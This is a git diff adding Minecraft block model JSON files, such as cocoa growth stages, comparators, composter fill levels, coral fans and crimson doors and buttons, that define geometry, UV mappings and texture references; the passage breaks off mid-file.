a/src/assets/minecraft/models/block/cocoa_stage0.json b/src/assets/minecraft/models/block/cocoa_stage0.json new file mode 100644 index 00000000..9870dd80 --- /dev/null +++ b/src/assets/minecraft/models/block/cocoa_stage0.json @@ -0,0 +1,27 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/cocoa_stage0", + "cocoa": "block/cocoa_stage0" + }, + "elements": [ + { "from": [ 6, 7, 11 ], + "to": [ 10, 12, 15 ], + "faces": { + "down": { "uv": [ 0, 0, 4, 4 ], "texture": "#cocoa" }, + "up": { "uv": [ 0, 0, 4, 4 ], "texture": "#cocoa" }, + "north": { "uv": [ 11, 4, 15, 9 ], "texture": "#cocoa" }, + "south": { "uv": [ 11, 4, 15, 9 ], "texture": "#cocoa" }, + "west": { "uv": [ 11, 4, 15, 9 ], "texture": "#cocoa" }, + "east": { "uv": [ 11, 4, 15, 9 ], "texture": "#cocoa" } + } + }, + { "from": [ 8, 12, 12 ], + "to": [ 8, 16, 16 ], + "faces": { + "west": { "uv": [ 12, 0, 16, 4 ], "texture": "#cocoa" }, + "east": { "uv": [ 16, 0, 12, 4 ], "texture": "#cocoa" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cocoa_stage1.json b/src/assets/minecraft/models/block/cocoa_stage1.json new file mode 100644 index 00000000..22d12d8d --- /dev/null +++ b/src/assets/minecraft/models/block/cocoa_stage1.json @@ -0,0 +1,27 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/cocoa_stage1", + "cocoa": "block/cocoa_stage1" + }, + "elements": [ + { "from": [ 5, 5, 9 ], + "to": [ 11, 12, 15 ], + "faces": { + "down": { "uv": [ 0, 0, 6, 6 ], "texture": "#cocoa" }, + "up": { "uv": [ 0, 0, 6, 6 ], "texture": "#cocoa" }, + "north": { "uv": [ 9, 4, 15, 11 ], "texture": "#cocoa" }, + "south": { "uv": [ 9, 4, 15, 11 ], "texture": "#cocoa" }, + "west": { "uv": [ 9, 4, 15, 11 ], "texture": "#cocoa" }, + "east": { "uv": [ 9, 4, 15, 11 ], "texture": "#cocoa" } + } + }, + { "from": [ 8, 12, 12 ], + "to": [ 8, 16, 16 ], + "faces": { + "west": { "uv": [ 12, 0, 16, 4 ], "texture": "#cocoa" }, + "east": { "uv": [ 16, 0, 12, 4 ], "texture": "#cocoa" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cocoa_stage2.json b/src/assets/minecraft/models/block/cocoa_stage2.json new file mode 100644 index 00000000..f6d6b0ab --- /dev/null +++ b/src/assets/minecraft/models/block/cocoa_stage2.json @@ -0,0 +1,27 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/cocoa_stage2", + "cocoa": "block/cocoa_stage2" + }, + "elements": [ + { "from": [ 4, 3, 7 ], + "to": [ 12, 12, 15 ], + "faces": { + "down": { "uv": [ 0, 0, 7, 7 ], "texture": "#cocoa" }, + "up": { "uv": [ 0, 0, 7, 7 ], "texture": "#cocoa" }, + "north": { "uv": [ 7, 4, 15, 13 ], "texture": "#cocoa" }, + "south": { "uv": [ 7, 4, 15, 13 ], "texture": "#cocoa" }, + "west": { "uv": [ 7, 4, 15, 13 ], "texture": "#cocoa" }, + "east": { "uv": [ 7, 4, 15, 13 ], "texture": "#cocoa" } + } + }, + { "from": [ 8, 12, 12 ], + "to": [ 8, 16, 16 ], + "faces": { + "west": { "uv": [ 12, 0, 16, 4 ], "texture": "#cocoa" }, + "east": { "uv": [ 16, 0, 12, 4 ], "texture": "#cocoa" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/command_block.json b/src/assets/minecraft/models/block/command_block.json new file mode 100644 index 00000000..ae6cff44 --- /dev/null +++ b/src/assets/minecraft/models/block/command_block.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_command_block", + "textures": { + "front": "minecraft:block/command_block_front", + "back": "minecraft:block/command_block_back", + "side": "minecraft:block/command_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/command_block_conditional.json b/src/assets/minecraft/models/block/command_block_conditional.json new file mode 100644 index 00000000..fe90faab --- /dev/null +++ b/src/assets/minecraft/models/block/command_block_conditional.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_command_block", + "textures": { + "front": "minecraft:block/command_block_front", + "back": "minecraft:block/command_block_back", + "side": "minecraft:block/command_block_conditional" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/comparator.json b/src/assets/minecraft/models/block/comparator.json new file mode 100644 index 00000000..f0203eae --- /dev/null +++ b/src/assets/minecraft/models/block/comparator.json @@ -0,0 +1,56 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/comparator", + "slab": "block/smooth_stone", + "top": "block/comparator", + "unlit": "block/redstone_torch_off", + "lit": "block/redstone_torch" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 4, 2, 11 ], + "to": [ 6, 7, 13 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + }, + { "from": [ 10, 2, 11 ], + "to": [ 12, 7, 13 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + }, + { "from": [ 7, 2, 2 ], + "to": [ 9, 4, 4 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/comparator_on.json b/src/assets/minecraft/models/block/comparator_on.json new file mode 100644 index 00000000..caa96734 --- /dev/null +++ b/src/assets/minecraft/models/block/comparator_on.json @@ -0,0 +1,74 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/comparator_on", + "slab": "block/smooth_stone", + "top": "block/comparator_on", + "unlit": "block/redstone_torch_off", + "lit": "block/redstone_torch" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 4, 7, 11 ], + "to": [ 6, 7, 13 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 4, 2, 10 ], + "to": [ 6, 8, 14 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 3, 2, 11 ], + "to": [ 7, 8, 13 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 10, 7, 11 ], + "to": [ 12, 7, 13 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 10, 2, 10 ], + "to": [ 12, 8, 14 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 9, 2, 11 ], + "to": [ 13, 8, 13 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 2 ], + "to": [ 9, 4, 4 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/comparator_on_subtract.json b/src/assets/minecraft/models/block/comparator_on_subtract.json new file mode 100644 index 00000000..061cc0be --- /dev/null +++ b/src/assets/minecraft/models/block/comparator_on_subtract.json @@ -0,0 +1,83 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/comparator_on", + "slab": "block/smooth_stone", + "top": "block/comparator_on", + "unlit": "block/redstone_torch_off", + "lit": "block/redstone_torch" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 4, 7, 11 ], + "to": [ 6, 7, 13 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 4, 2, 10 ], + "to": [ 6, 8, 14 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 3, 2, 11 ], + "to": [ 7, 8, 13 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 10, 7, 11 ], + "to": [ 12, 7, 13 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 10, 2, 10 ], + "to": [ 12, 8, 14 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 9, 2, 11 ], + "to": [ 13, 8, 13 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 11 ], "texture": "#lit" } + } + }, + { "from": [ 7, 5, 2 ], + "to": [ 9, 5, 4 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 1 ], + "to": [ 9, 6, 5 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 9 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 9 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 2 ], + "to": [ 10, 6, 4 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 9 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 9 ], "texture": "#lit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/comparator_subtract.json b/src/assets/minecraft/models/block/comparator_subtract.json new file mode 100644 index 00000000..e2ce2031 --- /dev/null +++ b/src/assets/minecraft/models/block/comparator_subtract.json @@ -0,0 +1,65 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/comparator", + "slab": "block/smooth_stone", + "top": "block/comparator", + "unlit": "block/redstone_torch_off", + "lit": "block/redstone_torch" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#slab", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "north" }, + "south": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "south" }, + "west": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "west" }, + "east": { "uv": [ 0, 14, 16, 16 ], "texture": "#slab", "cullface": "east" } + } + }, + { "from": [ 4, 2, 11 ], + "to": [ 6, 7, 13 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + }, + { "from": [ 10, 2, 11 ], + "to": [ 12, 7, 13 ], + "faces": { + "down": { "uv": [ 7, 13, 9, 15 ], "texture": "#unlit" }, + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#unlit" }, + "north": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "south": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "west": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" }, + "east": { "uv": [ 7, 6, 9, 11 ], "texture": "#unlit" } + } + }, + { "from": [ 7, 5, 2 ], + "to": [ 9, 5, 4 ], + "faces": { + "up": { "uv": [ 7, 6, 9, 8 ], "texture": "#lit" } + } + }, + { "from": [ 7, 2, 1 ], + "to": [ 9, 6, 5 ], + "faces": { + "west": { "uv": [ 6, 5, 10, 9 ], "texture": "#lit" }, + "east": { "uv": [ 6, 5, 10, 9 ], "texture": "#lit" } + } + }, + { "from": [ 6, 2, 2 ], + "to": [ 10, 6, 4 ], + "faces": { + "north": { "uv": [ 6, 5, 10, 9 ], "texture": "#lit" }, + "south": { "uv": [ 6, 5, 10, 9 ], "texture": "#lit" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/composter.json b/src/assets/minecraft/models/block/composter.json new file mode 100644 index 00000000..0af91965 --- /dev/null +++ b/src/assets/minecraft/models/block/composter.json @@ -0,0 +1,55 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/composter_side", + "top": "block/composter_top", + "bottom": "block/composter_bottom", + "side": "block/composter_side", + "inside": "block/composter_bottom" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 2, 16 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { "from": [ 0, 0, 0 ], + "to": [ 2, 16, 16 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "east": { "texture": "#side", "cullface": "up" } + } + }, + { "from": [ 14, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "up" }, + "east": { "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 2, 0, 0 ], + "to": [ 14, 16, 2 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "up" } + } + }, + { "from": [ 2, 0, 14 ], + "to": [ 14, 16, 16 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "up" }, + "south": { "texture": "#side", "cullface": "south" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/composter_contents1.json b/src/assets/minecraft/models/block/composter_contents1.json new file mode 100644 index 00000000..bee430a2 --- /dev/null +++ b/src/assets/minecraft/models/block/composter_contents1.json @@ -0,0 +1,14 @@ +{ + "textures": { + "particle": "block/composter_compost", + "inside": "block/composter_compost" + }, + "elements": [ + { "from": [ 2, 0, 2 ], + "to": [ 14, 3, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/composter_contents2.json b/src/assets/minecraft/models/block/composter_contents2.json new file mode 100644 index 00000000..2758c207 --- /dev/null +++ b/src/assets/minecraft/models/block/composter_contents2.json @@ -0,0 +1,14 @@ +{ + "textures": { + "particle": "block/composter_compost", + "inside": "block/composter_compost" + }, + "elements": [ + { "from": [ 2, 0, 2 ], + "to": [ 14, 5, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/composter_contents3.json b/src/assets/minecraft/models/block/composter_contents3.json new file mode 100644 index 00000000..7888aec6 --- /dev/null +++ b/src/assets/minecraft/models/block/composter_contents3.json @@ -0,0 +1,14 @@ +{ + "textures": { + "particle": "block/composter_compost", + "inside": "block/composter_compost" + }, + "elements": [ + { "from": [ 2, 0, 2 ], + "to": [ 14, 7, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/composter_contents4.json b/src/assets/minecraft/models/block/composter_contents4.json new file mode 100644 index 00000000..24be6a0c --- /dev/null +++ b/src/assets/minecraft/models/block/composter_contents4.json @@ -0,0 +1,14 @@ +{ + "textures": { + "particle": "block/composter_compost", + "inside": "block/composter_compost" + }, + "elements": [ + { "from": [ 2, 0, 2 ], + "to": [ 14, 9, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/composter_contents5.json b/src/assets/minecraft/models/block/composter_contents5.json new file mode 100644 index 00000000..724fa445 --- /dev/null +++ b/src/assets/minecraft/models/block/composter_contents5.json @@ -0,0 +1,14 @@ +{ + "textures": { + "particle": "block/composter_compost", + "inside": "block/composter_compost" + }, + "elements": [ + { "from": [ 2, 0, 2 ], + "to": [ 14, 11, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/composter_contents6.json b/src/assets/minecraft/models/block/composter_contents6.json new file mode 100644 index 00000000..2613218a --- /dev/null +++ b/src/assets/minecraft/models/block/composter_contents6.json @@ -0,0 +1,14 @@ +{ + "textures": { + "particle": "block/composter_compost", + "inside": "block/composter_compost" + }, + "elements": [ + { "from": [ 2, 0, 2 ], + "to": [ 14, 13, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/composter_contents7.json b/src/assets/minecraft/models/block/composter_contents7.json new file mode 100644 index 00000000..2022561d --- /dev/null +++ b/src/assets/minecraft/models/block/composter_contents7.json @@ -0,0 +1,14 @@ +{ + "textures": { + "particle": "block/composter_compost", + "inside": "block/composter_compost" + }, + "elements": [ + { "from": [ 2, 0, 2 ], + "to": [ 14, 15, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/composter_contents_ready.json b/src/assets/minecraft/models/block/composter_contents_ready.json new file mode 100644 index 00000000..9fd0e258 --- /dev/null +++ b/src/assets/minecraft/models/block/composter_contents_ready.json @@ -0,0 +1,14 @@ +{ + "textures": { + "particle": "block/composter_compost", + "inside": "block/composter_ready" + }, + "elements": [ + { "from": [ 2, 0, 2 ], + "to": [ 14, 15, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/conduit.json b/src/assets/minecraft/models/block/conduit.json new file mode 100644 index 00000000..5abfb3b6 --- /dev/null +++ b/src/assets/minecraft/models/block/conduit.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/conduit" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/coral_fan.json b/src/assets/minecraft/models/block/coral_fan.json new file mode 100644 index 00000000..e28dd67b --- /dev/null +++ b/src/assets/minecraft/models/block/coral_fan.json @@ -0,0 +1,44 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#fan" + }, + "elements": [ + { "from": [ 8, 0, 0 ], + "to": [ 24, 0, 16 ], + "rotation": { "origin": [ 8, 0, 0 ], "axis": "z", "angle": 22.5, "rescale": false }, + "shade": false, + "faces": { + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#fan", "rotation": 90 }, + "down": { "uv": [ 0, 16, 16, 0 ], "texture": "#fan", "rotation": 270 } + } + }, + { "from": [ -8, 0, 0 ], + "to": [ 8, 0, 16 ], + "rotation": { "origin": [ 8, 0, 0 ], "axis": "z", "angle": -22.5, "rescale": false }, + "shade": false, + "faces": { + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#fan", "rotation": 270 }, + "down": { "uv": [ 0, 16, 16, 0 ], "texture": "#fan", "rotation": 90 } + } + }, + { "from": [ 0, 0, 8 ], + "to": [ 16, 0, 24 ], + "rotation": { "origin": [ 0, 0, 8 ], "axis": "x", "angle": -22.5, "rescale": false }, + "shade": false, + "faces": { + "up": { "uv": [ 16, 16, 0, 0 ], "texture": "#fan" }, + "down": { "uv": [ 16, 0, 0, 16 ], "texture": "#fan" } + } + }, + { "from": [ 0, 0, -8 ], + "to": [ 16, 0, 8 ], + "rotation": { "origin": [ 0, 0, 8 ], "axis": "x", "angle": 22.5, "rescale": false }, + "shade": false, + "faces": { + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#fan" }, + "down": { "uv": [ 0, 16, 16, 0 ], "texture": "#fan" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/coral_wall_fan.json b/src/assets/minecraft/models/block/coral_wall_fan.json new file mode 100644 index 00000000..eafe1f8f --- /dev/null +++ b/src/assets/minecraft/models/block/coral_wall_fan.json @@ -0,0 +1,26 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#fan" + }, + "elements": [ + { "from": [ 0, 8, 0 ], + "to": [ 16, 8, 16 ], + "rotation": { "origin": [ 8, 8, 14 ], "axis": "x", "angle": 22.5, "rescale": true }, + "shade": false, + "faces": { + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#fan" }, + "down": { "uv": [ 16, 16, 0, 0 ], "texture": "#fan" } + } + }, + { "from": [ 0, 8, 0 ], + "to": [ 16, 8, 16 ], + "rotation": { "origin": [ 8, 8, 14 ], "axis": "x", "angle": -22.5, "rescale": true }, + "shade": false, + "faces": { + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#fan" }, + "down": { "uv": [ 16, 16, 0, 0 ], "texture": "#fan" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cornflower.json b/src/assets/minecraft/models/block/cornflower.json new file mode 100644 index 00000000..01ec1857 --- /dev/null +++ b/src/assets/minecraft/models/block/cornflower.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/cornflower" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cracked_nether_bricks.json b/src/assets/minecraft/models/block/cracked_nether_bricks.json new file mode 100644 index 00000000..403c18f0 --- /dev/null +++ b/src/assets/minecraft/models/block/cracked_nether_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/cracked_nether_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cracked_polished_blackstone_bricks.json b/src/assets/minecraft/models/block/cracked_polished_blackstone_bricks.json new file mode 100644 index 00000000..e36eda13 --- /dev/null +++ b/src/assets/minecraft/models/block/cracked_polished_blackstone_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/cracked_polished_blackstone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cracked_stone_bricks.json b/src/assets/minecraft/models/block/cracked_stone_bricks.json new file mode 100644 index 00000000..8628046d --- /dev/null +++ b/src/assets/minecraft/models/block/cracked_stone_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/cracked_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crafting_table.json b/src/assets/minecraft/models/block/crafting_table.json new file mode 100644 index 00000000..8c01686f --- /dev/null +++ b/src/assets/minecraft/models/block/crafting_table.json @@ -0,0 +1,12 @@ +{ + "parent": "minecraft:block/cube", + "textures": { + "particle": "minecraft:block/crafting_table_front", + "north": "minecraft:block/crafting_table_front", + "south": "minecraft:block/crafting_table_side", + "east": "minecraft:block/crafting_table_side", + "west": "minecraft:block/crafting_table_front", + "up": "minecraft:block/crafting_table_top", + "down": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_button.json b/src/assets/minecraft/models/block/crimson_button.json new file mode 100644 index 00000000..c57c4255 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_button.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_button_inventory.json b/src/assets/minecraft/models/block/crimson_button_inventory.json new file mode 100644 index 00000000..06d1baa2 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_button_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_inventory", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_button_pressed.json b/src/assets/minecraft/models/block/crimson_button_pressed.json new file mode 100644 index 00000000..2ba39bd9 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_button_pressed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_pressed", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_door_bottom.json b/src/assets/minecraft/models/block/crimson_door_bottom.json new file mode 100644 index 00000000..4134bc94 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_door_bottom.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom", + "textures": { + "top": "minecraft:block/crimson_door_top", + "bottom": "minecraft:block/crimson_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_door_bottom_hinge.json b/src/assets/minecraft/models/block/crimson_door_bottom_hinge.json new file mode 100644 index 00000000..e333ba66 --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_door_bottom_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom_rh", + "textures": { + "top": "minecraft:block/crimson_door_top", + "bottom": "minecraft:block/crimson_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_door_top.json b/src/assets/minecraft/models/block/crimson_door_top.json new file mode 100644 index 00000000..583078de --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_door_top.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top", + "textures": { + "top": "minecraft:block/crimson_door_top", + "bottom": "minecraft:block/crimson_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_door_top_hinge.json b/src/assets/minecraft/models/block/crimson_door_top_hinge.json new file mode 100644 index 00000000..c7b8a8bb --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_door_top_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top_rh", + "textures": { + "top": "minecraft:block/crimson_door_top", + "bottom": "minecraft:block/crimson_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_fence_gate.json b/src/assets/minecraft/models/block/crimson_fence_gate.json new file mode 100644 index 00000000..6599c50b --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_fence_gate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate", + "textures": { + "texture": "minecraft:block/crimson_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/crimson_fence_gate_open.json b/src/assets/minecraft/models/block/crimson_fence_gate_open.json new file mode 100644 index 00000000..9777833a --- /dev/null +++ b/src/assets/minecraft/models/block/crimson_fence_gate_open.json @@ -0,0 